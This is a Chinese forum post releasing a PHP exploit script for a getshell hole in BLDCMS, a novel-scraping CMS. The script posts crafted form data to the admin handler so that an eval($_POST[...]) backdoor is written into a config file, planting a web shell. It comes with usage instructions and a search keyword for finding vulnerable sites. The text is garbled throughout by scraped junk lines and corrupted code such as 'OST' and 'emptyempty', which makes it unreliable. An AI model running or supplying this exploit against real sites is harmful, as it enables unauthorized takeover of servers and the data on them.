BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
6 E) v0 E$ F7 H: G
7 J8 }; g, e9 q1 O! {: A
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
5 J- H$ H$ T$ u/ B' H1 |
2 T0 x7 S) _2 h  J* i1 N- I3 f既然都有人发了 我就把我之前写好的EXP放出来吧

. n  C- t1 H6 |/ cview source print?01.php;">
! n, X( G3 ~+ t: u* b02.<!--?php
: C( k1 X7 D4 U8 @5 X03.echo "-------------------------------------------------------------------
04.
8 \+ U% u; ~; w05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
7 S' p5 W5 T- [1 A9 G, z# L5 q06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
) _8 ?0 i, d% x5 ~08.
7 u0 P% g1 ?# x; Y09.QQ:981009941\r\n                                2013.3.21\r\n            
+ f- H% G7 i1 `* g) v4 @10.
$ x: ?  o0 R$ I1 F6 x% u7 [4 a6 y11.
1 x4 ]' ]" \4 ~: T6 U12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
- ^( ^" x) E5 q( h15.
0 r0 M3 ]" l( J8 _9 E3 ^1 c16.--------------------------------------------------------------------\r\n";
$ d; h% |% ]; S" J( h: K17.$url=$argv[1];
18.$dir=$argv[2];
19.$pass=$argv[3];
6 v: E& c5 L; y20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
$ Y8 Y+ g" B6 e8 L1 i' t21.if (emptyempty($pass)||emptyempty($url))
) I! `  S! O3 {* l, M22.{exit("请输入参数");}
23.else
24.{
) q+ _' T/ U0 g& q& e25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
( l2 ^& \+ j5 b0 X. _27.al;
28.$length = strlen($fuckdata);
; o2 }1 d% @& a! A- _29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
* Q' Z, O5 v  }7 d32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
3 O) Z) U2 A- H* a' V4 d/ R35.$header .= "Host:".$url."\r\n";
' Y7 @/ u7 _- c6 U" o6 Q' `36.$header .= "Content-Length: ".$length."\r\n";
; [2 {! G5 ?2 ~; a& m37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
; L. o0 v; j  ?40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
# R+ @0 `1 K; C8 O, v5 ^! [3 O; Z* H42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
, }0 {5 W# ?! w+ x$ v45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
47.else
48.{
49.$receive = '';
; F& |1 ^: }5 Z7 H& v/ u  W' z$ `50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
5 q& D3 V- v4 Z2 L# _* @% v4 K* n55.
56.GPC是否=off)";
57.}}
/ u# m4 ~5 q$ {+ V, x58.}
59.}
60.getshell($url,$pass);
) z- S" m) g( t61.?-->
1 f: N# E3 P, _- o3 P  V9 S
' s4 {3 }4 R' `; ^7 T3 V: ]
+ J$ a* Z+ O+ Z# ~5 y: a/ Q
8 C6 e- w3 d" G# h$ rby 数据流